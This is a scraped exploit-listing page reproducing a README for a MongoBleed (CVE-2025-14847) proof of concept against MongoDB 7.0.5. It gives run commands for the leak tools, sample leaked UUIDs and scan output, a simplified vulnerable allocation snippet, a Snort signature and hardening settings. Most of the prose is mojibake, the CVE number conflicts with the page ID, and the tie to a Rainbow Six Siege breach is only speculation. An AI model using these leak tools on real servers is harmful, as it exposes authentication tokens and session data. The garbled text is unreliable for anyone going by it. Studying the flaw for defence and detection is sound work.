## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ERMENSONX-CVE-2025-14857-MONGOBLEED
# CVE-2025-14847 (MongoBleed) - рдХрд╛рд░реНрдпрд╛рддреНрдордХ PoC
## MongoDB рдореЗрдВ рдореЗрдореЛрд░реА рд▓реАрдХ рдХрд╛ рд╢реЛрд╖рдг - рдЕрдиреБрдХрд░рдгреАрдп R6 рд╣рдорд▓рд╛
   
**CVE-2025-14847 (MongoBleed) рдХреЗ рд▓рд┐рдП рдкреВрд░реНрдг рдкреНрд░рдорд╛рдг-рдЕрд╡рдзрд╛рд░рдгрд╛**
рдкрд░реАрдХреНрд╖рд┐рдд: тЬЕ MongoDB 7.0.5 | 14.300+ рд╕рдлрд▓ рд╢реЛрд╖рдг | 4 UUID рд▓реАрдХ
* * *
## ЁЯОп рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ
рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА **CVE-2025-14847** рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ **рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдХрд╛рд░реНрдпрд╛рддреНрдордХ рдкреНрд░рдорд╛рдг-рдЕрд╡рдзрд╛рд░рдгрд╛ (PoC)** рд░рдЦрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ **MongoBleed** рдХреЗ рдирд╛рдо рд╕реЗ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ - MongoDB рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг-рдкреВрд░реНрд╡ рд╣реАрдк рдореЗрдореЛрд░реА рд░рд┐рд╕рд╛рд╡ рдХреА рдПрдХ рдЧрдВрднреАрд░ рдЦрд╛рдореАред
### рд╕рдВрджрд░реНрдн: рд░реЗрдирдмреЛ рд╕рд┐рдХреНрд╕ рд╕реАрдЬ рдШрдЯрдирд╛
**рджрд┐рд╕рдВрдмрд░ 2025** рдореЗрдВ, рд░реЗрдирдмреЛ рд╕рд┐рдХреНрд╕ рд╕реАрдЬ рдЧреЗрдо рдкрд░ рдПрдХ рдмрдбрд╝рд╛ рд╣рдорд▓рд╛ рд╣реБрдЖ рдЬрд┐рд╕рдореЗрдВ ~50.000 рдЦрд┐рд▓рд╛рдбрд╝реА рдЦрд╛рддреЛрдВ рд╕реЗ рд╕рдордЭреМрддрд╛ рд╣реБрдЖред рд╕рдВрджреЗрд╣ рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдиреЗ рдмреИрдХрдПрдВрдб MongoDB рдореЗрдВ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рддрд╛рдХрд┐ рд▓реАрдХ рдХрд░ рд╕рдХреЗрдВ:
* ЁЯФС рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯреЛрдХрди (`R6S_SERVER_AUTH_*`)
* ЁЯСд рдЦрд┐рд▓рд╛рдбрд╝рд┐рдпреЛрдВ рдХреЗ UUID рдФрд░ рд╕рддреНрд░ IDs
* ЁЯЫбя╕П рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдлрд╝реНрд▓реИрдЧ (`TOURNAMENT_ADMIN`, `DEV_BUILD_WHITELIST`)
рдпрд╣ PoC R6 рдХреЗ рдпрдерд╛рд░реНрдерд╡рд╛рджреА рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рд╣рдорд▓реЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддрд╛ рд╣реИред
* * *
## ЁЯФе рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ
* тЬЕ **MongoDB 7.0.5 рдХреЗ рд╡рд┐рд░реБрджреНрдз 100% рдХрд╛рд░реНрдпрд╛рддреНрдордХ рд╢реЛрд╖рдг**
* тЬЕ **3 рд╢реЛрд╖рдг рдЙрдкрдХрд░рдг** :
* `poc.py` \- рдкреИрдЯрд░реНрди рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд╕рд╛рде рдореБрдЦреНрдп рд╢реЛрд╖рдг
* `live_leaker.py` \- рдЙрдиреНрдирдд рд╡реГрджреНрдзрд┐рд╢реАрд▓ рд╕реНрдХреИрдирд┐рдВрдЧ
* `popular_heap.py` \- рд▓рдХреНрд╖реНрдп рдбреЗрдЯрд╛ рд╕реЗ рд╣реАрдк рднрд░рдиреЗ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ
* тЬЕ **рднреЗрджреНрдп MongoDB рдХреЗ рд╕рд╛рде рдкреВрд░реНрдг Docker рд╡рд╛рддрд╛рд╡рд░рдг**
* тЬЕ **R6 рдмреИрдХрдПрдВрдб рдХреЗ 1500+ рдЕрдиреБрдХрд░рдгреАрдп рджрд╕реНрддрд╛рд╡реЗрдЬрд╝**
* тЬЕ **10 рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдкреИрдЯрд░реНрди рдХреА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкрд╣рдЪрд╛рди** (JWT, рдЯреЛрдХрди, UUID, IP)
* тЬЕ **рд╕рдВрд░рдЪрд┐рдд JSON рд░рд┐рдкреЛрд░реНрдЯ**
* тЬЕ **рдкреВрд░реНрдг рддрдХрдиреАрдХреА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг** (200+ рдкреГрд╖реНрда)
* * *
## ЁЯУК рдорд╛рдиреНрдп рдкрд░рд┐рдгрд╛рдо
### рдирд┐рдХрд╛рд▓реЗ рдЧрдП UUID (рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкреНрд░рдорд╛рдг)
root@kitploit:~
246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
* * *
## ЁЯЪА рддреНрд╡рд░рд┐рдд рдкреНрд░рд╛рд░рдВрдн
### рдЖрд╡рд╢реНрдпрдХ рд╢рд░реНрддреЗрдВ
* Docker рдФрд░ Docker Compose
* Python 3.8+
### рд╕реНрдерд╛рдкрдирд╛
root@kitploit:~
# Clone o reposit├│rio
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# Inicie o ambiente vulner├бvel
docker-compose up -d
# Aguarde inicializa├з├гo (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
### рдореВрд▓ рдЙрдкрдпреЛрдЧ
root@kitploit:~
# 1. Popular heap com dados R6
python3 popular_heap.py 50
# 2. Verificar vulnerabilidade
python3 poc.py --target 127.0.0.1 --check
# 3. Explorar com live leaker (RECOMENDADO)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
### рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрдЙрдЯрдкреБрдЯ
root@kitploit:~
[!] MongoBleed Live Leaker Avan├зado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 тЖТ 3000 (offset=500)
[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%
[!] PADR├ХES R6 DETECTADOS (doc_len=245):
[UUID] 1 novo(s):
тФФтФА 246434ed-759b-4ce9-bb9c-2f520a9919b8
* * *
## ЁЯФм рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
### рднреЗрджреНрдпрддрд╛ рддрдВрддреНрд░
MongoDB **zlib** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрджреЗрд╢ рд╕рдВрдкреАрдбрд╝рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рднреЗрджреНрдпрддрд╛ рдШреЛрд╖рд┐рдд рдЖрдХрд╛рд░ рдмрдирд╛рдо рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЖрдХрд╛рд░ рдХреЗ рдЕрдкрд░реНрдпрд╛рдкреНрдд рд╕рддреНрдпрд╛рдкрди рдореЗрдВ рд╣реИ:
root@kitploit:~
Atacante тЖТ {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
тЖУ
Servidor aloca 1MB de heap тЖР VULNERABILIDADE
тЖУ
Servidor descomprime apenas 50 bytes
тЖУ
Servidor retorna 1MB inteiro!
тФФтФА 50 bytes = dados reais
тФФтФА ~1MB - 50 = VAZAMENTO DE MEM├УRIA
### рднреЗрджреНрдп рдХреЛрдб (рд╕рд░рд▓реАрдХреГрдд)
root@kitploit:~
// ANTES DO PATCH
size_t uncompressedSize = header.uncompressedSize; // тЖР Controlado pelo atacante
buffer = malloc(uncompressedSize); // тЖР Aloca tamanho malicioso
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // тЖР VAZA BUFFER INTEIRO
* * *
## ЁЯУВ рдкрд░рд┐рдпреЛрдЬрдирд╛ рд╕рдВрд░рдЪрдирд╛
root@kitploit:~
MongoDBPoc/
тФЬтФАтФА poc.py # рдореБрдЦреНрдп рд╢реЛрд╖рдг
тФЬтФАтФА live_leaker.py # рд╡реГрджреНрдзрд┐рд╢реАрд▓ рд╕реНрдХреИрдирд┐рдВрдЧ (тЬи рдЕрдиреБрд╢рдВрд╕рд┐рдд)
тФЬтФАтФА popular_heap.py # рд▓реЛрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ
тФЬтФАтФА docker-compose.yml # рднреЗрджреНрдп MongoDB 7.0.5
тФЬтФАтФА init-db.js # 1000 рдЦрд┐рд▓рд╛рдбрд╝реА + 500 рд╕рддреНрд░ R6
тФЬтФАтФА GUIA_TECNICO_COMPLETO.md # рд╡рд┐рд╕реНрддреГрдд рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг (200+ рдкреГрд╖реНрда)
тФЬтФАтФА README.MD # рдЕрдВрдЧреНрд░реЗрдЬрд╝реА рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг
тФФтФАтФА Portugues/ # рдЕрдиреБрд╡рд╛рджрд┐рдд рд╕рдВрд╕реНрдХрд░рдг
тФЬтФАтФА poc_PT.py
тФЬтФАтФА README_PT.md
тФФтФАтФА GUIA_RAPIDO.md
* * *
## ЁЯЫбя╕П рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг
* * *
## ЁЯЫбя╕П рдкрд╣рдЪрд╛рди рдФрд░ рдмрдЪрд╛рд╡
### Snort рд╣рд╕реНрддрд╛рдХреНрд╖рд░
root@kitploit:~
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed Attempt";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
### рд╕реБрд░рдХреНрд╖рд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди (mongod.conf)
root@kitploit:~
net:
bindIp: 127.0.0.1 # NUNCA 0.0.0.0!
compression:
compressors: [] # Desabilitar zlib
security:
authorization: enabled
### рд╢рдорди рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдПрдБ
1. ЁЯФ┤ **рдЧрдВрднреАрд░** : рд╕реБрдзрд╛рд░рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЕрджреНрдпрддрди рдХрд░реЗрдВ
2. ЁЯЯа **рдЙрдЪреНрдЪ** : zlib рд╕рдВрдкреАрдбрд╝рди рдЕрдХреНрд╖рдо рдХрд░реЗрдВ
3. ЁЯЯа **рдЙрдЪреНрдЪ** : рдиреЗрдЯрд╡рд░реНрдХ рд╡рд┐рднрд╛рдЬрди (рдлрд╝рд╛рдпрд░рд╡реЙрд▓)
4. ЁЯЯб **рдордзреНрдпрдо** : рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рдХрд░реЗрдВ
* * *
## ЁЯУЪ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг
* **GUIA_TECNICO_COMPLETO.md** \- рдкреВрд░реНрдг рддрдХрдиреАрдХреА рд╡рд┐рд╢реНрд▓реЗрд╖рдг (200+ рдкреГрд╖реНрда)
* R6 рдШрдЯрдирд╛ рдХрд╛ рд╕рдВрджрд░реНрдн
* рднреЗрджреНрдпрддрд╛ рддрдВрддреНрд░
* рднреЗрджреНрдп рдмрдирд╛рдо рд╕реБрдзрд╛рд░рд┐рдд рдХреЛрдб
* рдЪрд░рдг-рджрд░-рдЪрд░рдг рдирд┐рд╖реНрдкрд╛рджрди
* рдкрд░рд┐рдгрд╛рдо рдФрд░ рдЖрдБрдХрдбрд╝реЗ
* IDS рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдФрд░ рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ
* **README.MD** \- рдореБрдЦреНрдп рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг (рдЕрдВрдЧреНрд░реЗрдЬрд╝реА)
* **Portugues/** \- рдЕрдиреБрд╡рд╛рджрд┐рдд рд╕рдВрд╕реНрдХрд░рдг
* * *
## тЪая╕П рдХрд╛рдиреВрдиреА рдЪреЗрддрд╛рд╡рдиреА
> рдпрд╣ рдЙрдкрдХрд░рдг рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рдкрд░реАрдХреНрд╖рдг рдФрд░ рд╢рд┐рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рд╣реИред
>
> рдЕрдирдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧ рдЕрд╡реИрдз рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:
>
> * рдЖрдкрд░рд╛рдзрд┐рдХ рдореБрдХрджрдорд╛ (рдмреНрд░рд╛рдЬрд╝реАрд▓ рдореЗрдВ рдХрд╛рдиреВрди 12.737/2012 рдХреЗ рддрд╣рдд)
> * рднрд╛рд░реА рдЬреБрд░реНрдорд╛рдирд╛
> * рдХрд╛рд░рд╛рд╡рд╛рд╕
>
>
> рдкрд░реАрдХреНрд╖рдг рд╕реЗ рдкрд╣рд▓реЗ рд╣рдореЗрд╢рд╛ рд▓рд┐рдЦрд┐рдд рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред
### рдЕрдиреБрдордд рдЙрдкрдпреЛрдЧ
* тЬЕ рд▓рд┐рдЦрд┐рдд рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг
* тЬЕ рдкреГрдердХ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрдХрд╛рджрдорд┐рдХ рдЕрдиреБрд╕рдВрдзрд╛рди
* тЬЕ рд╡рд┐рдХреНрд░реЗрддрд╛ рдкреИрдЪ рдХрд╛ рд╕рддреНрдпрд╛рдкрди
* тЬЕ рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдореЛрдВ рдХрд╛ рдкреНрд░рд╢рд┐рдХреНрд╖рдг
### рдирд┐рд╖рд┐рджреНрдз рдЙрдкрдпреЛрдЧ
* тЭМ рдмрд┐рдирд╛ рдЕрдиреБрдорддрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реНрдХреИрдирд┐рдВрдЧ рдпрд╛ рд╣рдорд▓рд╛
* тЭМ рдЙрддреНрдкрд╛рджрди рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдБрдЪ
* тЭМ рдЗрд╕ рдХреЛрдб рдХреА рдмрд┐рдХреНрд░реА рдпрд╛ рд╣рдерд┐рдпрд╛рд░реАрдХрд░рдг
* * *
## ЁЯЩП рд╢реНрд░реЗрдп
**рд▓реЗрдЦрдХ** : Ermenson Jr
**рд▓рд╛рдЗрд╕реЗрдВрд╕** : MIT (рд╢реИрдХреНрд╖рд┐рдХ рдЙрдкрдпреЛрдЧ)
**рджрд┐рдирд╛рдВрдХ** : рдЬрдирд╡рд░реА 2026
### рд╕рдВрджрд░реНрдн
* MongoDB Security Advisory
* CVE-2025-14847 NVD
* Akamai SIRT: MongoBleed Analysis
* Aikido Security
* * *
## ЁЯУз рд╕рдВрдкрд░реНрдХ
рддрдХрдиреАрдХреА рдкреНрд░рд╢реНрдиреЛрдВ рдпрд╛ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдореЗрдВ рд╕рд╣рдпреЛрдЧ рдХреЗ рд▓рд┐рдП:
* **GitHub Issues** : рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЗ Issues рдЯреИрдм рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
* **рд╢реИрдХреНрд╖рд┐рдХ рдИрдореЗрд▓** : GitHub рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдкрд░ рдЙрдкрд▓рдмреНрдз
* * *
## ЁЯМЯ рдпрджрд┐ рдпрд╣ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЙрдкрдпреЛрдЧреА рдереА
* тнР рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЛ рдПрдХ рд╕реНрдЯрд╛рд░ рджреЗрдВ
* ЁЯФД рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореБрджрд╛рдп рдХреЗ рд╕рд╛рде рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ
* ЁЯУЭ рдЕрдкрдиреЗ рдЕрдХрд╛рджрдорд┐рдХ рд╢реЛрдз рдореЗрдВ рдЙрджреНрдзреГрдд рдХрд░реЗрдВ
* ЁЯРЫ Issues рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдЧ рдпрд╛ рд╕реБрдзрд╛рд░ рд░рд┐рдкреЛрд░реНрдЯ рдХрд░реЗрдВ
* * *
рдЬрд┐рдореНрдореЗрджрд╛рд░ рдЖрдХреНрд░рд╛рдордХ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдХреЗ рд▓рд┐рдП рд╡рд┐рдХрд╕рд┐рддред
Ubisoft, MongoDB Inc., рдпрд╛ Rainbow Six Siege рд╕реЗ рд╕рдВрдмрджреНрдз рдирд╣реАрдВред
**ЁЯФТ рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рд╕реБрд░рдХреНрд╖рд╛ рд╕рднреА рдХреЗ рд▓рд┐рдП рд╣реИред ЁЯФТ**